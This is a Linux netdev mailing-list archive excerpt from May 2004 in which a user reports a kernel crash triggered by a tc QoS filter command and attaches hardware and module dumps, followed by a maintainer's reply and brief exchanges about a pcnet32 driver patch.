with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 11:12:29 -0700 (PDT) Received: from mx01.cybersurf.com (mx01.cybersurf.com [209.197.145.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OIC6KO010600 for ; Mon, 24 May 2004 11:12:14 -0700 Received: from mail.cyberus.ca ([209.197.145.21]) by mx01.cybersurf.com with esmtp (Exim 4.20) id 1BSJvf-00031l-9y for netdev@oss.sgi.com; Mon, 24 May 2004 14:12:03 -0400 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1BSJvb-0008Re-EQ; Mon, 24 May 2004 14:11:59 -0400 Subject: Re: Kernel BUG: Qos seg. fault From: jamal Reply-To: hadi@cyberus.ca To: Jaume Catarineu Cc: "David S. Miller" , netdev@oss.sgi.com In-Reply-To: <40B1E325.80408@upf.edu> References: <40B1E325.80408@upf.edu> Content-Type: text/plain Organization: jamalopolis Message-Id: <1085422317.1043.9.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 24 May 2004 14:11:57 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5288 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Can you try to reproduce this problem without the new changes to the tbf qdisc? Example can you reproduce this without tbf being at the root? I have access to a 2.4.21 and 2.6.1 machines which i cant upgrade right now. I also have a few spare cycles today so i could chase this. Get rid of tbf at root and see if this still happens cheers, jamal On Mon, 2004-05-24 at 07:57, Jaume Catarineu wrote: > Hi all, > > I've configured succesfuly different QoS configurations, but there is > one that *allways* returns a segmentation fault in the kernel module (or > code). This part of the kernel seems to crash when installing an IP > filter. I've tried the code in 2 different computers with different > hardware and even different kernel version (2.4.25 and 2.6.4) > > The code is the following: > -------START-------- > tc qdisc add dev lo root handle 1: tbf rate 250kbit burst 5k limit 5k > tc qdisc add dev lo parent 1: handle 20: prio > tc qdisc add dev lo parent 20:1 handle 210: sfq perturb 10 > tc qdisc add dev lo parent 20:2 handle 220: tbf rate 250kbit burst 5k \ > limit 5k > tc qdisc add dev lo parent 20:3 handle 230: sfq perturb 10 > > tc filter add dev $ETH_IPSEC protocol ip parent 1:0 prio 1 handle 2 \ > fw flowid 20:3 > -------END---------- > > The line "tc filter..." produces the system crash. Actually, the system > is usable, but any command refering the QoS hangs (tc, iptables...). > Even the system shutdown is not available because Linux freezes when > stopping the network. It seems that is something related to the filter > section in the QoS modules. > > In the files attached are described the technical characteristics of the > computers. > > Thank you for your work. > Jaume, > > > > > ______________________________________________________________________ > > processor : 0 > vendor_id : GenuineIntel > cpu family : 6 > model : 8 > model name : Pentium III (Coppermine) > stepping : 3 > cpu MHz : 731.474 > cache size : 256 KB > fdiv_bug : no > hlt_bug : no > f00f_bug : no > coma_bug : no > fpu : yes > fpu_exception : yes > cpuid level : 2 > wp : yes > flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr sse > bogomips : 1458.17 > > > > Linux version 2.4.25 (root@servidor) (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #2 Tue Mar 23 19:36:49 CET 2004 > > > =======modules after the seg fault======== > sch_sfq 4128 2 (autoclean) > sch_prio 3968 1 (autoclean) > sch_tbf 4160 2 (autoclean) > ipt_MARK 1368 0 (autoclean) > iptable_mangle 2776 0 (autoclean) > ipt_MASQUERADE 2200 1 (autoclean) > iptable_nat 21208 1 (autoclean) [ipt_MASQUERADE] > ip_conntrack 29800 0 (autoclean) [ipt_MASQUERADE iptable_nat] > 3c59x 29456 2 > ipt_REJECT 4344 0 (autoclean) > iptable_filter 2412 0 (autoclean) > ip_tables 15712 8 [ipt_MARK iptable_mangle ipt_MASQUERADE iptable_nat ipt_REJECT iptable_filter] > keybdev 3136 0 (unused) > mousedev 5556 0 (unused) > input 5760 0 [keybdev mousedev] > hid 12408 0 (unused) > > > ========= PCI DEVICES ========= > 00:00.0 Host bridge: VIA Technologies, Inc. VT8605 [ProSavage PM133] (rev 81) > Subsystem: Asustek Computer, Inc.: Unknown device 802c > Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Region 0: Memory at e4000000 (32-bit, prefetchable) [size=64M] > Capabilities: [a0] AGP version 2.0 > Status: RQ=31 SBA+ 64bit- FW- Rate=x1,x2,x4 > Command: RQ=0 SBA- AGP- 64bit- FW- Rate= > Capabilities: [c0] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > 00:01.0 PCI bridge: VIA Technologies, Inc. VT8605 [PM133 AGP] (prog-if 00 [Normal decode]) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Bus: primary=00, secondary=01, subordinate=01, sec-latency=0 > I/O behind bridge: 0000e000-0000dfff > Memory behind bridge: e2000000-e2dfffff > Prefetchable memory behind bridge: e2f00000-e3ffffff > BridgeCtl: Parity- SERR- NoISA- VGA+ MAbort- >Reset- FastB2B- > Capabilities: [80] Power Management version 2 > Flags: PMEClk- DSI- D1+ D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > 00:04.0 ISA bridge: VIA Technologies, Inc. VT82C686 [Apollo Super South] (rev 22) > Subsystem: Asustek Computer, Inc.: Unknown device 802c > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping+ SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > > 00:04.1 IDE interface: VIA Technologies, Inc. VT82C586/B/686A/B PIPC Bus Master IDE (rev 10) (prog-if 8a [Master SecP PriP]) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping+ SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32 > Region 4: I/O ports at d800 [size=16] > Capabilities: [c0] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > 00:04.2 USB Controller: VIA Technologies, Inc. USB (rev 10) (prog-if 00 [UHCI]) > Subsystem: VIA Technologies, Inc. (Wrong ID) USB Controller > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32, cache line size 08 > Interrupt: pin D routed to IRQ 9 > Region 4: I/O ports at d400 [size=32] > Capabilities: [80] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > 00:04.3 USB Controller: VIA Technologies, Inc. USB (rev 10) (prog-if 00 [UHCI]) > Subsystem: VIA Technologies, Inc. (Wrong ID) USB Controller > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32, cache line size 08 > Interrupt: pin D routed to IRQ 9 > Region 4: I/O ports at d000 [size=32] > Capabilities: [80] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > 00:04.4 Host bridge: VIA Technologies, Inc. VT82C686 [Apollo Super ACPI] (rev 30) > Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Capabilities: [68] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > 00:0e.0 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 05) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 72 (4250ns min, 16000ns max), cache line size 08 > Interrupt: pin A routed to IRQ 10 > Region 0: I/O ports at b800 [size=256] > Region 1: Memory at e1800000 (64-bit, non-prefetchable) [size=1K] > Region 3: Memory at e1000000 (64-bit, non-prefetchable) [size=8K] > Expansion ROM at [disabled] [size=128K] > Capabilities: [40] Power Management version 2 > Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > 00:0e.1 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 05) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 72 (4250ns min, 16000ns max), cache line size 08 > Interrupt: pin B routed to IRQ 5 > Region 0: I/O ports at b400 [size=256] > Region 1: Memory at e0800000 (64-bit, non-prefetchable) [size=1K] > Region 3: Memory at e0000000 (64-bit, non-prefetchable) [size=8K] > Expansion ROM at [disabled] [size=128K] > Capabilities: [40] Power Management version 2 > Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > 00:0f.0 Ethernet controller: 3Com Corporation 3c905C-TX/TX-M [Tornado] (rev 74) > Subsystem: 3Com Corporation 3C905C-TX Fast Etherlink for PC Management NIC > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32 (2500ns min, 2500ns max), cache line size 08 > Interrupt: pin A routed to IRQ 5 > Region 0: I/O ports at b000 [size=128] > Region 1: Memory at df800000 (32-bit, non-prefetchable) [size=128] > Expansion ROM at [disabled] [size=128K] > Capabilities: [dc] Power Management version 2 > Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold+) > Status: D0 PME-Enable- DSel=0 DScale=2 PME- > > 00:10.0 Ethernet controller: 3Com Corporation 3c905C-TX/TX-M [Tornado] (rev 74) > Subsystem: 3Com Corporation 3C905C-TX Fast Etherlink for PC Management NIC > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32 (2500ns min, 2500ns max), cache line size 08 > Interrupt: pin A routed to IRQ 9 > Region 0: I/O ports at a800 [size=128] > Region 1: Memory at df000000 (32-bit, non-prefetchable) [size=128] > Expansion ROM at [disabled] [size=128K] > Capabilities: [dc] Power Management version 2 > Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold+) > Status: D0 PME-Enable- DSel=0 DScale=2 PME- > > 01:00.0 VGA compatible controller: Intel Corp. i740 (rev 21) (prog-if > 00 [VGA]) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- > ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz+ UDF- FastB2B+ ParErr- DEVSEL=medium > >TAbort- SERR- Latency: 0 > Interrupt: pin A routed to IRQ 11 > Region 0: Memory at e3000000 (32-bit, prefetchable) [size=16M] > Region 1: Memory at e2000000 (32-bit, non-prefetchable) > [size=512K] > Expansion ROM at e2fc0000 [disabled] [size=256K] > Capabilities: [d0] AGP version 1.0 > Status: RQ=31 SBA+ 64bit- FW- Rate=x1,x2 > Command: RQ=0 SBA- AGP- 64bit- FW- Rate= > Capabilities: [dc] Power Management version 1 > Flags: PMEClk- DSI+ D1+ D2- AuxCurrent=0mA > PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 PME-Enable- DSel=0 DScale=0 PME- > > > > > > ______________________________________________________________________ > > processor : 0 > vendor_id : AuthenticAMD > cpu family : 6 > model : 6 > model name : AMD Athlon(TM) XP 2000+ > stepping : 2 > cpu MHz : 1666.562 > cache size : 256 KB > fdiv_bug : no > hlt_bug : no > f00f_bug : no > coma_bug : no > fpu : yes > fpu_exception : yes > cpuid level : 1 > wp : yes > flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge > mca cmov pat pse36 mmx fxsr sse syscall mmxext 3dnowext 3dnow > bogomips : 3301.37 > > > =======MODULES AFTER SEG FAULT ============ > sch_sfq 5568 2 - Live 0xe1e4e000 > sch_prio 5376 1 - Live 0xe1e2c000 > sch_tbf 6592 2 - Live 0xe1e29000 > vmnet 30608 8 - Live 0xe1e58000 > vmmon 48664 0 - Live 0xe1e36000 > sg 38752 0 - Live 0xe1e43000 > sr_mod 17764 0 - Live 0xe1e30000 > lp 12200 0 - Live 0xe1e25000 > md5 4160 1 - Live 0xe0ab6000 > ipv6 252288 8 - Live 0xe0d7a000 > nls_cp437 5632 4 - Live 0xe0ab3000 > smbfs 67768 5 - Live 0xe0b02000 > snd_seq_oss 34112 0 - Live 0xe0a48000 > snd_seq_midi_event 8192 1 snd_seq_oss, Live 0xe0a2b000 > snd_seq 56336 4 snd_seq_oss,snd_seq_midi_event, Live 0xe0af3000 > snd_pcm_oss 52388 0 - Live 0xe0ae5000 > snd_mixer_oss 18688 1 snd_pcm_oss, Live 0xe0aad000 > snd_cmipci 33588 1 - Live 0xe0a53000 > snd_pcm 99236 2 snd_pcm_oss,snd_cmipci, Live 0xe0acb000 > snd_page_alloc 11972 1 snd_pcm, Live 0xe0a27000 > snd_opl3_lib 10752 1 snd_cmipci, Live 0xe0a17000 > snd_timer 25220 3 snd_seq,snd_pcm,snd_opl3_lib, Live 0xe0a30000 > snd_hwdep 9696 1 snd_opl3_lib, Live 0xe0a13000 > gameport 4736 1 snd_cmipci, Live 0xe0a10000 > snd_mpu401_uart 7808 1 snd_cmipci, Live 0xe0a0d000 > snd_rawmidi 25312 1 snd_mpu401_uart, Live 0xe09d7000 > snd_seq_device 7880 4 snd_seq_oss,snd_seq,snd_opl3_lib,snd_rawmidi, > Live 0xe09d4000 > snd 53828 15 > snd_seq_oss,snd_seq_midi_event,snd_seq,snd_pcm_oss,snd_mixer_oss,snd_cmipci,snd_pcm,snd_opl3_lib,snd_timer,snd_hwdep,snd_mpu401_uart,snd_rawmidi,snd_seq_device, > Live 0xe0a39000 > soundcore 9888 1 snd, Live 0xe08f5000 > af_packet 22536 2 - Live 0xe09a6000 > hid 44608 0 - Live 0xe0a1b000 > ide_floppy 17408 0 - Live 0xe09a0000 > ide_cd 41156 0 - Live 0xe09c8000 > cdrom 38048 2 sr_mod,ide_cd, Live 0xe09bd000 > floppy 60628 0 - Live 0xe09fd000 > 8139too 24384 0 - Live 0xe0999000 > mii 5248 1 8139too, Live 0xe08ed000 > ohci1394 34180 0 - Live 0xe0949000 > ieee1394 319032 1 ohci1394, Live 0xe0a5e000 > ext3 117288 1 - Live 0xe09df000 > jbd 61272 1 ext3, Live 0xe09ad000 > nls_cp850 4800 2 - Live 0xe08d7000 > vfat 15680 2 - Live 0xe08da000 > fat 48000 1 vfat, Live 0xe098c000 > nls_iso8859_1 3968 7 - Live 0xe0802000 > ntfs 92108 1 - Live 0xe0953000 > nvidia 2074216 12 - Live 0xe0b7e000 > via_agp 7680 1 - Live 0xe0829000 > agpgart 30952 2 via_agp, Live 0xe08bf000 > parport_pc 33088 1 - Live 0xe08e0000 > imm 12296 0 - Live 0xe08ba000 > scsi_mod 118328 3 sg,sr_mod,imm, Live 0xe08f9000 > parport 42440 3 lp,parport_pc,imm, Live 0xe08c8000 > usblp 12928 0 - Live 0xe0813000 > ehci_hcd 25732 0 - Live 0xe0821000 > uhci_hcd 31120 0 - Live 0xe0818000 > usbcore 104668 6 hid,usblp,ehci_hcd,uhci_hcd, Live 0xe082c000 > rtc 12920 0 - Live 0xe0808000 > > > Linux version 2.6.4 (root@Amadeus) (gcc version 3.3.2 (Mandrake Linux > 10.0 3.3.2-6mdk)) #1 Tue Mar 23 01:52:21 GMT 2004 > > ========== PCI ============== > 00:00.0 Host bridge: VIA Technologies, Inc. VT8366/A/7 [Apollo KT266/A/333] > Subsystem: Asustek Computer, Inc. A7V333 Mainboard > Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Region 0: Memory at e0000000 (32-bit, prefetchable) [size=128M] > Capabilities: > > 00:01.0 PCI bridge: VIA Technologies, Inc. VT8366/A/7 [Apollo KT266/A/333 AGP] (prog-if 00 [Normal decode]) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Bus: primary=00, secondary=01, subordinate=01, sec-latency=0 > I/O behind bridge: 0000e000-0000dfff > Memory behind bridge: d6000000-d76fffff > Prefetchable memory behind bridge: d7700000-dfffffff > BridgeCtl: Parity- SERR- NoISA- VGA+ MAbort- >Reset- FastB2B- > Capabilities: > > 00:05.0 Multimedia audio controller: C-Media Electronics Inc CM8738 (rev 10) > Subsystem: Asustek Computer, Inc. CMI8738 6ch-MX > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping+ SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32 (500ns min, 6000ns max) > Interrupt: pin A routed to IRQ 10 > Region 0: I/O ports at d800 [size=256] > Capabilities: > > 00:09.0 USB Controller: VIA Technologies, Inc. USB (rev 50) (prog-if 00 [UHCI]) > Subsystem: Asustek Computer, Inc.: Unknown device 8080 > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32, cache line size 08 > Interrupt: pin A routed to IRQ 5 > Region 4: I/O ports at d400 [size=32] > Capabilities: > > 00:09.1 USB Controller: VIA Technologies, Inc. USB (rev 50) (prog-if 00 [UHCI]) > Subsystem: Asustek Computer, Inc.: Unknown device 8080 > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32, cache line size 08 > Interrupt: pin B routed to IRQ 11 > Region 4: I/O ports at d000 [size=32] > Capabilities: > > 00:09.2 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 51) (prog-if 20 [EHCI]) > Subsystem: Asustek Computer, Inc.: Unknown device 8080 > Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32, cache line size 10 > Interrupt: pin C routed to IRQ 10 > Region 0: Memory at d5800000 (32-bit, non-prefetchable) [size=256] > Capabilities: > > 00:0c.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 10) > Subsystem: Realtek Semiconductor Co., Ltd. RT8139 > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32 (8000ns min, 16000ns max) > Interrupt: pin A routed to IRQ 5 > Region 0: I/O ports at b800 [size=256] > Region 1: Memory at d5000000 (32-bit, non-prefetchable) [size=256] > Capabilities: > > 00:0d.0 FireWire (IEEE 1394): VIA Technologies, Inc. IEEE 1394 Host Controller (rev 46) (prog-if 10 [OHCI]) > Subsystem: VIA Technologies, Inc. IEEE 1394 Host Controller > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping+ SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32 (8000ns max), cache line size 08 > Interrupt: pin A routed to IRQ 11 > Region 0: Memory at d4800000 (32-bit, non-prefetchable) [size=2K] > Region 1: I/O ports at b400 [size=128] > Capabilities: > > 00:11.0 ISA bridge: VIA Technologies, Inc. VT8233A ISA Bridge > Subsystem: Asustek Computer, Inc.: Unknown device 808c > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping+ SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Capabilities: > > 00:11.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT8233/A/C/VT8235 PIPC Bus Master IDE (rev 06) (prog-if 8a [Master SecP PriP]) > Subsystem: Asustek Computer, Inc. A7V8X motherboard > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32 > Interrupt: pin A routed to IRQ 0 > Region 4: I/O ports at b000 [size=16] > Capabilities: > > 00:11.2 USB Controller: VIA Technologies, Inc. USB (rev 23) (prog-if 00 [UHCI]) > Subsystem: Asustek Computer, Inc. A7V8X motherboard > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32, cache line size 08 > Interrupt: pin D routed to IRQ 9 > Region 4: I/O ports at a800 [size=32] > Capabilities: > > 00:11.3 USB Controller: VIA Technologies, Inc. USB (rev 23) (prog-if 00 [UHCI]) > Subsystem: Asustek Computer, Inc. A7V8X motherboard > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 32, cache line size 08 > Interrupt: pin D routed to IRQ 9 > Region 4: I/O ports at a400 [size=32] > Capabilities: > > 01:00.0 VGA compatible controller: nVidia Corporation NV17 [GeForce4 MX 460] (rev a3) (prog-if 00 [VGA]) > Subsystem: Micro-Star International Co., Ltd.: Unknown device 8670 > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- > Status: Cap+ 66Mhz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 248 (1250ns min, 250ns max) > Interrupt: pin A routed to IRQ 11 > Region 0: Memory at d6000000 (32-bit, non-prefetchable) [size=16M] > Region 1: Memory at d8000000 (32-bit, prefetchable) [size=128M] > Region 2: Memory at d7800000 (32-bit, prefetchable) [size=512K] > Expansion ROM at d77e0000 [disabled] [size=128K] > Capabilities: > > > > From shemminger@osdl.org Mon May 24 11:25:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 11:26:05 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OIPlKO011210 for ; Mon, 24 May 2004 11:25:48 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4OIObr30799; Mon, 24 May 2004 11:24:37 -0700 Date: Mon, 24 May 2004 11:24:36 -0700 From: Stephen Hemminger To: Don Fry Cc: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH 2.6.6-bk8] pcnet32: limit frames received during interrupt. Message-Id: <20040524112436.5ce66cc1@dell_ss3.pdx.osdl.net> In-Reply-To: <200405222222.i4MMMJ512917@DYN318364BLD.beaverton.ibm.com> References: <200405222222.i4MMMJ512917@DYN318364BLD.beaverton.ibm.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5289 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Sat, 22 May 2004 15:22:19 -0700 (PDT) Don Fry wrote: > The current code will allow an infinite number of frames to be received > during one interrupt. Tested ia32 and ppc64. How about converting to support NAPI? From brazilnut@us.ibm.com Mon May 24 11:37:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 11:37:26 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OIbEKO011656 for ; Mon, 24 May 2004 11:37:22 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i4OIasll333954; Mon, 24 May 2004 14:36:54 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4OIbFpP115114; Mon, 24 May 2004 14:37:16 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4OIUkr24417; Mon, 24 May 2004 11:30:46 -0700 From: Don Fry Message-Id: <200405241830.i4OIUkr24417@DYN318364BLD.beaverton.ibm.com> Subject: Re: [PATCH 2.6.6-bk8] pcnet32: limit frames received during To: shemminger@osdl.org (Stephen Hemminger) Date: Mon, 24 May 2004 11:30:46 -0700 (PDT) Cc: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com In-Reply-To: <20040524112436.5ce66cc1@dell_ss3.pdx.osdl.net> from "Stephen Hemminger" at May 24, 2004 11:24:36 AM X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5290 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev I'll add that to my list. > > The current code will allow an infinite number of frames to be received > > during one interrupt. Tested ia32 and ppc64. > > How about converting to support NAPI? > -- Don Fry brazilnut@us.ibm.com From shemminger@osdl.org Mon May 24 11:41:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 11:41:22 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OIfFKO012004 for ; Mon, 24 May 2004 11:41:16 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4OIdJr15030; Mon, 24 May 2004 11:39:19 -0700 Date: Mon, 24 May 2004 11:39:19 -0700 From: Stephen Hemminger To: "Luis R. Rodriguez" , Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: RFC: Network Device Driver Group proposal Message-Id: <20040524113919.3651c453@dell_ss3.pdx.osdl.net> In-Reply-To: <20040524084945.GP3330@ruslug.rutgers.edu> References: <20040524084945.GP3330@ruslug.rutgers.edu> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5291 